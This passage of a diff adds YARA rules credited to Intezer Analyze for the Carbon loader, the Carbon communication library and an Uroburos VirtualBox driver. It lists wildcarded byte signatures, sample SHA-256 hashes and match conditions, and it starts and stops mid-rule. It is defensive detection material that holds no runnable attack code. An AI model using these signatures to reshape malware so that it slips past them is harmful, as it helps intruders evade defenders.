+		$block_2 = { 8B ?? 89 ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_4 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? 8B ?? ?? 5? FF D? 8B ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_8 = { 2B ?? D1 ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 3B ?? 0F 86 }
+		$block_9 = { 8B ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 6A ?? 6A ?? 5? 8B ?? ?? FF D? 83 ?? ?? ?? ?? 0F 84 }
+		$block_10 = { 8D ?? ?? ?? 5? BB ?? ?? ?? ?? 8B ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_11 = { 8B ?? ?? ?? 33 ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 5? 68 ?? ?? ?? ?? FF D? FF 1? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 95 ?? 8B ?? 3B ?? 74 }
+		$block_14 = { 2B ?? ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 83 ?? ?? 0F 83 }
+		$block_15 = { 8D ?? ?? ?? 5? 8B ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_16 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_18 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_19 = { 8B ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_21 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_22 = { 5? 5? 5? 6A ?? 5? 5? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8C }
+		$block_23 = { E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_24 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? ?? 2B ?? 83 ?? ?? 0F 82 }
+		$block_26 = { 2B ?? D1 ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? ?? ?? 3B ?? 0F 87 }
+		$block_27 = { 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_28 = { 33 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_29 = { 8B ?? ?? ?? FF 4? ?? ?? 01 ?? 03 ?? 3B ?? ?? 0F 83 }
+		$block_30 = { 0F B7 ?? 66 ?? ?? 83 ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_31 = { 0F B7 ?? B9 ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3" or
+		hash.sha256(0, filesize) == "2bc291368b3819de13a3aa8365f22de94acebf2f93133c38bfdade770c9d8f1e" or
+		hash.sha256(0, filesize) == "443cd03b37fca8a5df1bbaa6320649b441ca50d1c1fcc4f5a7b94b95040c73d1" or
+		hash.sha256(0, filesize) == "b4249f6af24ea89976f3f7d9e3a605ccfbfe768069891f62c48df950d9212093" or
+		hash.sha256(0, filesize) == "f9b83eff6d705c214993be9575f8990aa8150128a815e849c6faee90df14a0ea" or
+		hash.sha256(0, filesize) == "a2af1e9af48c4fa52a52ffba734ffeaa46c17d7320137d51dbd15539cc4cef8b" or
+		hash.sha256(0, filesize) == "62209d2f0ceeff20534292d5a58ed532c960579b75927321f4f7c7e7079dd06a" or
+		hash.sha256(0, filesize) == "a41a80cd7a485e5bcb038b0170e70a25040c71a41dad4bc2c8f3915fbcbeac0c" or
+		hash.sha256(0, filesize) == "555efee854fd1ffe71bc6130ec51995f89ceb93b9ee0e6e22d9c911d0adf7699" or
+		12 of them
+}
+
+rule CarbonLoader_v3_77_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 40 ?? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF C? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 33 ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 40 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 33 ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_5 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_7 = { 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "050685f211158109fb1b17096b3739750e74049fe9057ad3503d96174b42891a" or
+		10 of them
+}
+
+rule CarbonLoader_v3_71_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 40 ?? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_1 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 40 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 33 ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_4 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_5 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_9 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "ba9a87ba0ad1a4f4e81583a1449b20bf703cdbee6b1a639c13f4cbcd1b9eb57f" or
+		hash.sha256(0, filesize) == "31b176b9906211c14ee5b9cff4c56f71866ec47d7f7c783aeb31692168d66566" or
+		hash.sha256(0, filesize) == "1a488c6824bd39f3568346b2aaf3f6666f41b1d4961a2d77360c7c65c7978b5e" or
+		hash.sha256(0, filesize) == "02f9501cb01b375e752a9cc4aa5ee084a504944bdc853e1bdfc860dd76e0d198" or
+		10 of them
+}
+
+rule UroburosVirtualBoxDriver {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 48 ?? ?? ?? 3B ?? 0F 46 ?? 85 ?? 74 }
+		$block_1 = { 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_2 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 4D ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? 48 ?? ?? ?? ?? 41 ?? ?? C1 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+		$block_4 = { 45 ?? ?? ?? 45 ?? ?? ?? 65 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 33 ?? 0F B6 ?? 3B ?? 74 }
+		$block_5 = { 48 ?? ?? 49 ?? ?? ?? 4D ?? ?? ?? 45 ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_6 = { B8 ?? ?? ?? ?? 0F A2 3D ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 72 }
+		$block_7 = { B8 ?? ?? ?? ?? 0F A2 0F BA ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 72 }
+		$block_8 = { 48 ?? ?? ?? ?? C1 ?? ?? 41 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+		$block_9 = { 8B ?? B8 ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 44 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_10 = { 48 ?? ?? ?? ?? 8B ?? 41 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+		$block_11 = { 49 ?? ?? ?? 49 ?? ?? ?? 45 ?? ?? 48 ?? ?? 4D ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_12 = { 33 ?? 0F A2 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 72 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? B8 ?? ?? ?? ?? 85 ?? 0F 49 }
+		$block_14 = { B9 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_15 = { 4C ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_16 = { 40 ?? 5? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_17 = { 8B ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 92 ?? 84 ?? 0F 84 }
+		$block_18 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_19 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_20 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+
+	condition:
+		hash.sha256(0, filesize) == "cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986" or
+		12 of them
+}
+
+rule CarbonCommunicationLibrary_v3_62_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_1 = { 8B ?? 48 ?? ?? ?? ?? ?? ?? 8D ?? ?? 4C ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 33 ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_3 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_4 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 0F 84 }
+		$block_5 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 0F 85 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 75 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 41 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 41 ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? 41 ?? ?? 2B ?? 83 ?? ?? 85 ?? 48 ?? ?? 7E }
+		$block_9 = { 41 ?? ?? 44 ?? ?? 41 ?? ?? 45 ?? ?? 41 ?? ?? 41 ?? ?? 0F 4C ?? 8B ?? 2B ?? 85 ?? 48 ?? ?? 7E }
+		$block_10 = { 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? 0F 85 }
+		$block_11 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 83 ?? ?? 0F 8E }
+		$block_12 = { 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 40 ?? ?? ?? 85 ?? 0F 44 ?? 40 ?? ?? 74 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_14 = { FF 7? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 5? 5? 0F 85 }
+		$block_15 = { FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? 0F 84 }
+		$block_16 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_17 = { 89 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 99 83 ?? ?? 03 ?? 83 ?? ?? 2B ?? 49 ?? ?? 8D ?? ?? ?? 75 }
+		$block_18 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_19 = { 8B ?? 33 ?? 45 ?? ?? 21 ?? ?? ?? 99 45 ?? ?? 45 ?? ?? 4D ?? ?? 41 ?? ?? 85 ?? 4C ?? ?? 7E }
+		$block_20 = { 8B ?? 99 F7 ?? 83 ?? ?? ?? 8A ?? 83 ?? ?? ?? 33 ?? 4? 89 ?? ?? 88 ?? ?? 85 ?? 89 ?? ?? 7E }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_22 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_23 = { 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? 3B ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_25 = { 44 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_26 = { 4C ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_27 = { 48 ?? ?? B8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 45 ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 83 }
+		$block_28 = { 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F B6 ?? ?? 2B ?? ?? ?? ?? ?? ?? 75 }
+		$block_29 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 44 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_30 = { 8B ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 99 2B ?? 83 ?? ?? F7 ?? 8D ?? ?? EB }
+		$block_31 = { 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 4? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_32 = { 45 ?? ?? 49 ?? ?? 45 ?? ?? 49 ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? 0F 8E }
+		$block_33 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 33 ?? 8B ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_34 = { 41 ?? ?? 48 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_35 = { 49 ?? ?? 8B ?? 48 ?? ?? ?? 83 ?? ?? 0F A3 ?? ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? 79 }
+		$block_36 = { 48 ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_37 = { 4C ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 89 ?? ?? 2B ?? ?? 03 ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 5? 89 ?? ?? 0F 84 }
+		$block_39 = { 0F B6 ?? 23 ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? D2 ?? 08 ?? ?? FF 4? ?? 83 ?? ?? ?? 7C }
+		$block_40 = { 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 5? 5? 0F 84 }
+		$block_41 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 }
+		$block_42 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_43 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? ?? FF D? 3B ?? 5? 5? 89 ?? ?? ?? 0F 84 }
+		$block_44 = { FF 4? ?? 81 6? ?? ?? ?? ?? ?? FF 4? ?? 29 ?? ?? 4? 83 ?? ?? ?? 89 ?? ?? 0F 8F }
+		$block_45 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_46 = { 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 45 ?? ?? 41 ?? ?? 48 ?? ?? 0F 84 }
+		$block_47 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 8F }
